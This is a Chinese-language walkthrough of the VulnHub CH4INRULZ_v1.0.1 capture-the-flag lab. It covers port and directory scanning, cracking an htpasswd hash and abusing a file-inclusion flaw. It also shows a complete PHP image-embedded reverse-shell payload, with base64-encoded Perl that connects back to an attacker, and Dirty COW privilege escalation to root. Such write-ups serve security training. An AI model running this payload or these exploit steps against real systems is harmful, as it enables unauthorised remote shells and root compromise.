下载地址:http%3A//download.vulnhub.com/ch4inrulz/CH4INRULZ_v1.0.1.ova

主机发现

netdiscover -i eth0 -r 192.168.1.0/24


端口信息探测

nmap -p 1-65535 -vv -sC 192.168.1.21

80和8011,22,21开放,先访问80端口

扫描web目录

gobuster dir -u http://192.168.1.21/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt  -x bak,zip,rar -t 50

扫到了一个备份文件index.html.bak还有一个development 页面
备份的内容

<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>

将 frank:$apr1 1 o I G D E D K 1oIGDEDK 1oIGDEDK/aVFPluYt56UvslZMBDoC0这段保存下来很明显是密码
vi pass.txt
用john解密
john pass.txt,解出来是frank!!!

访问development页面需要登录刚好就是我们解出来的,就是一个文件上传页面

这里根据提示后面还有一个目录uploader

这里经过测试只能上传图片,转到端口8011测试

web目录扫描

gobuster dir -u http://192.168.1.21:8011/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt  -x bak,zip,rar -t 50

这里扫到一个api目录
这里经过测试只有files_api.php有用

还需要传入一个参数file,这里经过测试为post方式提交这里是个文件包含,可以直接包含/etc/passwd

这里想的是上传一个可以反弹shell的图片马然后直接包含就能执行了


<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?> 

找一找图片用notp++打开把这段代码复制在最后一行,这里的$yourip $yourpor需要自行修改

直接上传成功

读取apache配置文件 /etc/apache2/sites-enabled/000-default

知道了路劲为/var/www/development,尝试读取upload.php的源码

file=php://filter/read=convert.base64-encode/resource=/var/www/development/uploader/upload.php

将得到的数据进行base64解密得出源码

$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);if($check !== false) {echo "File is an image - " . $check["mime"] . ".";$uploadOk = 1;} else {echo "File is not an image.";$uploadOk = 0;}
}
// Check if file already exists
if (file_exists($target_file)) {echo "Sorry, file already exists.";$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {echo "Sorry, your file is too large.";$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";} else {echo "Sorry, there was an error uploading your file.";}
}
?>

可以看出我们上传到了FRANKuploads/目录直接访问就看到了

在kali下nc -lvvp 6666 ,监听本地的6666端口
直接包含木马文件
/var/www//development/uploader/FRANKuploads/10.jpg

使用python虚拟化一个shell
python -c ‘import pty; pty.spawn(“/bin/bash”)’
上传辅助提权脚本
linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
可以使用脏牛提权

searchsploit Dirty

使用40830.c
/usr/share/exploitdb/exploits/linux/local/40839.c
上传到服务器编译运行

gcc -pthread 40839.c -o dirty -lcrypt
./dirty

输入密码123456

成功创建firefart’用户密码为123456切换用户
su firefart’
为root权限

VulnHub靶场之CH4INRULZ_v1.0.1相关推荐

  1. Vulnhub靶场渗透-CH4INRULZ_v1.0.1

    前言 靶机ip(192.168.110.135) 攻击机ip(192.168.110.127) 网络NAT模式 直接开始 信息收集 吃了上次的亏,这次就比较详细的扫了一下端口 发现 ftp服务的2.3 ...

  2. 靶场渗透CH4INRULZ_v1.0.1

    最新文章见我个人博客:点此 靶机环境下载地址:[下载] ova下载下来后直接导入virtualbox即可(https://www.vulnhub.com/entry/ch4inrulz-101,247 ...

  3. vulnhub靶场之 LordOfTheRoot_1.0.1

    LordOfTheRoot_1.0.1 namp简单使用 namp 192.168.5.0/24 -sP 探测目标主机存活情况 namp 192.168.5.0/24 -O 识别操作系统 namp 1 ...

  4. VulnHub靶场之BBS (cute): 1.0.1

    VulnHub靶场之BBS (cute): 1.0.1 扫描IP以及端口: 先不管其他东西,直接访问80,web页面: 目录扫描: 访问index.php: 发现使用的是CuteNews 2.1.2, ...

  5. vulnhub靶场-Hacker_Kid-v1.0.1

    1.靶机信息 靶机名称:Hacker_Kid-v1.0.1 靶机难度:中等 虚拟机环境:此靶机推荐使用Virtualbox搭建 目标:取得root权限 靶机地址:https://download.vu ...

  6. Vulnhub靶场——Hacker_Kid-v1.0.1

    1.概要 靶机下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova 攻击机地址:192.168.60.148 靶机地址:1 ...

  7. VulnHub靶场系列:Flick

    VulnHub靶场系列:Flick 今天意外看到一个VulnHub上的一个靶场的WriteUp,觉得挺有意思,所以自己试着做一遍并记录下来. 环境部署: 下载靶场并导入到VMware中: https: ...

  8. Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)

    Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...

  9. vulnhub靶场,bulldog1

    vulnhub靶场,bulldog1 环境准备 靶机下载地址:https://www.vulnhub.com/entry/bulldog-1,211/ 攻击机:kali(192.168.109.128 ...

最新文章

  1. Django模板系统和admin模块
  2. python 大量网络请求_大规模异步新闻爬虫之网络请求函数的优化
  3. linux脚本多个条件比较大小,如何在shell if语句中表示多个条件?
  4. php is_post,PHP发送get、post请求的6种方法简明总结
  5. Html5开发-使用Canvas绘制图片
  6. 如何在开源社区贡献代码_如何在15分钟内从浏览器获得您的第一个开源贡献
  7. linux 删除单个创建文件夹,Linux 删除文件夹和创建文件的命令
  8. 通过JQUERY获取SELECT OPTION中选中的值
  9. 不同型号的二极管模块并联_电阻可以串联,为何二极管不适合串联?
  10. 【Augmented Reality】增强现实中的光学透射式头盔显示器的标定深入
  11. tcp连接python_python网络编程--TCP连接的三次握手(三报文握手)与四次挥手
  12. 《少有人走的路:心智成熟的旅程》
  13. 微信头像偶现请求失败异常排查
  14. 使用C# .net开发微信公众号之设置所属行业
  15. android 7.0原生room,小米5S 安卓9.0 原生体验 LineageOS16.0 ROOT
  16. 无聊的时候怎么办?教你用java写一个简单挂机打金币小游戏吧!
  17. nginx可以用来做什么
  18. Lua环境搭建以及开发工具
  19. Android 大图查看器
  20. java 时间表达式_【JAVA】Quartz中时间表达式的设置

热门文章

  1. 反作弊产品经理是做什么的?
  2. 第十周总结CoreIDRAW
  3. 计算机应用基础统试题及答案,计算机应用基础统试题及答案.docx
  4. 天地图 通过H5 获取详细定位信息及marker(模板源码)
  5. 计算机领域最著名的非专业女性-Lena Soderberg
  6. caffe windows 训练自己的图片数据
  7. 理解lvalue和rvalue
  8. 毕业论文mathtype公式说明
  9. win32编程里面的APC怎么用?
  10. python dicom 三维重建_CT扫描图的三维重建